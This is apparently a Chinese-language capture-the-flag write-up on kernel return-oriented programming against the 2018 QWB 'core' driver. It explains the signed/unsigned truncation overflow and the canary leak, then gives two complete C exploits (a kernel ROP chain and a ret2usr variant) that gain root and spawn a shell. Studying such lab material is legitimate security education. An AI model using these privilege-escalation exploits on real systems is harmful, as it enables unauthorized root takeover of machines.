ROP的全称为Return-oriented Programming,主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程;这种攻击方法在用户态的条件中运用的比较多,ret2shellcode,ret2libc,ret2text等ret2系列都利用到了ROP的思想,当然这种攻击手法在内核态同样是有用的,并且手法都基本一样....
这里我以2018年的强网杯中的core来进行演示和学习的,环境我已经放到的了github上面了,需要的可以自行下载学习....
我们知道Linux操作系统中用户态和内核态是相互隔离的,所以当系统从内核态返回到用户态的时候就必须要进行一些操作,才可以是两个状态分开,具体操作是:
swapgs
指令恢复用户态GS
的值;sysretq
或者iretq
指令恢复到用户控件继续执行;如果使用iretq
指令则还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp
等);iretq
指令,在栈中就给出CS,eflags,sp,ss
等信息:unsigned long user_cs, user_ss, user_eflags, user_sp; void save_stats(){ asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) : : "memory" ); }
在内核态提权到root,一种简单的方法就是是执行下面这个函数:
commit_creds(prepare_kernel_cred(0));
这个函数会使我们分配一个新的cred结构(uid=0, gid=0等)并且把它应用到调用进程中,此时我们就是root权限了;
commit_creds
和prapare_kernel_cred
都是内核函数,一般可以通过cat /proc/kallsyms
查看他们的地址,但是必须需要root权限....
现在我们可以先分析一下这个core.ko驱动了:
首先查看一下这个ko文件的保护机制有哪些:
开启了canary保护....
core_ioctl:
这个函数定义了三条命令,分别调用core_read()
,core_copy_func()
,并且可以设置全局变量off
;
core_copy_func:
这个函数会根据用户的输入长度,从name
这个全局变量中往栈上写数据,并且函数在判断我们输入的这个a1变量类型的时候是signed long long
,但是qmemcpy
的时候就变成了unsigned __int16
了,所以这里存在一个截断,当我们输入如0xf000000000000000|0x100
这样的数据就可以绕过限制,就可以造成内核的栈溢出了;
core_read:
这个函数会从栈上读出长度为0x40的数据,并且读的起始位置我们可以通过改变off
这个全局变量的大小来控制,也就是说这个我们可以越界访问数据,将栈上面的返回地址,canary等信息读到....
core_write:
最后这个函数我们可以向全局变量name
中写入一个长度不大于0x800的字符串....
所以现在我们思路比较清晰了:
ioctl
函数设置全局变量off
的大小,然后通过core_read()
leak出canary;core_write()
向全局变量name
中写入我们构造的ROPchain;core_copy_func()
函数把name
的ROPchain向v2变量上写,进行ROP攻击;所以这里最重要的就是我们的ROPchain的构造了....
为了方便调试,我们修改一下init文件:
- setsid /bin/cttyhack setuidgid 1000 /bin/sh + setsid /bin/cttyhack setuidgid 0 /bin/sh
这样我们start的时候就是root权限了,方便我们查看一些函数的地址;
首先我们查看一下qume中函数的地址:
然后通过gdb调试查看core_read的栈内容:
基本我们能够从栈中泄露vmlinux和core.ko的基地址了....
通过这些位置的地址减去偏移就是基地址了,这个和用户态找libc的基地址的方法是一样的.....
然后我们可以利用ropper工具来查找我们需要的gadget了:
ropper --file core.ko --search "pop|ret"
这里建议使用ropper而不是ROPgadget,因为ROPgadget太慢了,ropper可以直接通过pip install ropper
来安装;
poc.c:
#include <stdio.h> #include <fcntl.h> #include <unistd.h> int fd; unsigned long user_cs, user_ss, user_eflags,user_sp; void core_read(char *buf){ ioctl(fd,0x6677889B,buf); //printf("[*]The buf is:%x\n",buf); } void change_off(long long v1){ ioctl(fd,0x6677889c,v1); } void core_write(char *buf,int a3){ write(fd,buf,a3); } void core_copy_func(long long size){ ioctl(fd,0x6677889a,size); } void shell(){ system("/bin/sh"); } void save_stats(){ asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) : : "memory" ); } int main(){ int ret,i; char buf[0x100]; size_t vmlinux_base,core_base,canary; size_t commit_creds_addr,prepare_kernel_cred_addr; size_t commit_creds_offset = 0x9c8e0; size_t prepare_kernel_cred_offset = 0x9cce0; size_t rop[0x100]; save_stats(); fd = open("/proc/core",O_RDWR); change_off(0x40); core_read(buf); /* for(i=0;i<0x40;i++){ printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i])); } */ vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1; core_base = *(size_t *)(&buf[0x10]) - 0x19b; prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset; commit_creds_addr = vmlinux_base + commit_creds_offset; canary = *(size_t *)(&buf[0]); printf("[*]canary:%p\n",canary); printf("[*]vmlinux_base:%p\n",vmlinux_base); printf("[*]core_base:%p\n",core_base); printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr); printf("[*]commit_creds_addr:%p\n",commit_creds_addr); //junk for(i = 0;i < 8;i++){ rop[i] = 0x66666666; } rop[i++] = canary; //canary rop[i++] = 0; //rbp(junk) rop[i++] = vmlinux_base + 0xb2f; //pop_rdi_ret; rop[i++] = 0; //rdi rop[i++] = prepare_kernel_cred_addr; rop[i++] = vmlinux_base + 0xa0f49; //pop_rdx_ret rop[i++] = vmlinux_base + 0x21e53; //pop_rcx_ret rop[i++] = vmlinux_base + 0x1aa6a; //mov_rdi_rax_call_rdx rop[i++] = commit_creds_addr; rop[i++] = core_base + 0xd6; //swapgs_ret rop[i++] = 0; //rbp(junk) rop[i++] = vmlinux_base + 0x50ac2; //iretp_ret rop[i++] = (size_t)shell; rop[i++] = user_cs; rop[i++] = user_eflags; rop[i++] = user_sp; rop[i++] = user_ss; core_write(rop,0x100); core_copy_func(0xf000000000000100); return 0; }
编译:
gcc poc.c -o poc -w -static
运行:
这里说两个地方,第一个是确定填充的垃圾数据的大小时,可以利用gbd动态调试查看确定:
确定填充的大小是0x40;
然后就是ROP链中有一个:
rop[i++] = vmlinux_base + 0xa0f49; //pop_rdx_ret rop[i++] = vmlinux_base + 0x21e53; //pop_rcx_ret rop[i++] = vmlinux_base + 0x1aa6a; //mov_rdi_rax_call_rdx
这里有一个pop_rcx_ret的原因是因为call指令的时候会把它的返回地址push入栈,这样会破坏我们的ROP链,所以要把它pop出去:
最后这里在说另外一个方法也是基于ROP的方法;
因为这个内核开启了kalsr和canary,但是没有开启smep保护,我们可以利用在用户空间的进程不能访问内核空间,但是在内核空间能访问用户空间的特性,我们可以直接返回到用户空间构造的commit_creds(prepare_kernel_cred(0))
(通过函数指针实现来提权,虽然这两个函数位于内核空间,但因为此时我们是ring 0
特权,所以可以正常运行;
ret2usr.c:
#include <stdio.h> #include <fcntl.h> #include <unistd.h> int fd; unsigned long user_cs, user_ss, user_eflags,user_sp; size_t commit_creds_addr,prepare_kernel_cred_addr; void core_read(char *buf){ ioctl(fd,0x6677889B,buf); //printf("[*]The buf is:%x\n",buf); } void change_off(long long v1){ ioctl(fd,0x6677889c,v1); } void core_write(char *buf,int a3){ write(fd,buf,a3); } void core_copy_func(long long size){ ioctl(fd,0x6677889a,size); } void shell(){ system("/bin/sh"); } void save_stats(){ asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) : : "memory" ); } void get_root(){ char* (*pkc)(int) = prepare_kernel_cred_addr; void (*cc)(char*) = commit_creds_addr; (*cc)((*pkc)(0)); } int main(){ int ret,i; char buf[0x100]; size_t vmlinux_base,core_base,canary; size_t commit_creds_offset = 0x9c8e0; size_t prepare_kernel_cred_offset = 0x9cce0; size_t rop[0x100]; save_stats(); fd = open("/proc/core",O_RDWR); change_off(0x40); core_read(buf); /* for(i=0;i<0x40;i++){ printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i])); } */ vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1; core_base = *(size_t *)(&buf[0x10]) - 0x19b; prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset; commit_creds_addr = vmlinux_base + commit_creds_offset; canary = *(size_t *)(&buf[0]); printf("[*]canary:%p\n",canary); printf("[*]vmlinux_base:%p\n",vmlinux_base); printf("[*]core_base:%p\n",core_base); printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr); printf("[*]commit_creds_addr:%p\n",commit_creds_addr); //junk for(i = 0;i < 8;i++){ rop[i] = 0x66666666; } rop[i++] = canary; //canary rop[i++] = 0x0; rop[i++] = (size_t)get_root; rop[i++] = core_base + 0xd6; //swapgs_ret rop[i++] = 0; //rbp(junk) rop[i++] = vmlinux_base + 0x50ac2; //iretp_ret rop[i++] = (size_t)shell; rop[i++] = user_cs; rop[i++] = user_eflags; rop[i++] = user_sp; rop[i++] = user_ss; core_write(rop,0x100); core_copy_func(0xf000000000000100); return 0; }
编译:
gcc ret2usr.c -o ret2usr -w -static
运行:
可以发现这两个方法的代码非常的相似,因为原理都一样的....
这个演示看起来很简单,但是在实际的操作过程当中会遇到很多问题,在内核态调试没有在用户态方便,崩溃了gdb居然断不下来,只能单步慢慢的定位问题....